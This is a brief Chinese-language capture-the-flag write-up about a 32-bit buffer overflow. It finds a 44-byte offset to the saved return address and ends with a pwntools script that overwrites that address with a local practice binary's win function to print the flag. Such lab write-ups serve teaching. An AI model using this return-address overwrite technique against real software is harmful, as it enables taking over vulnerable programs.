一樣可以看到 buffer size 是 32
可以看到 vuln 函式的 printf 會回傳 address 的位置
所以只要把這裡改成 win 函式的地址就可以拿到flag了
就像下方這樣(如果我有理解錯誤,或是畫錯圖都歡迎糾正我)
所以我們的目標是要 "覆蓋到” return address(eip) 的地方
pattern create 100
找一下那字串所在的地方,這 offset 44 代表那個 字串輸入了44個才到 EIP
win函式address
因為執行檔是 32 bit LSB
用 pwntools轉為LSB
from pwn import *
r = process("./vuln")
r.recvuntil(b"Please enter your string:")
r.sendline(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08")
print(r.recvall())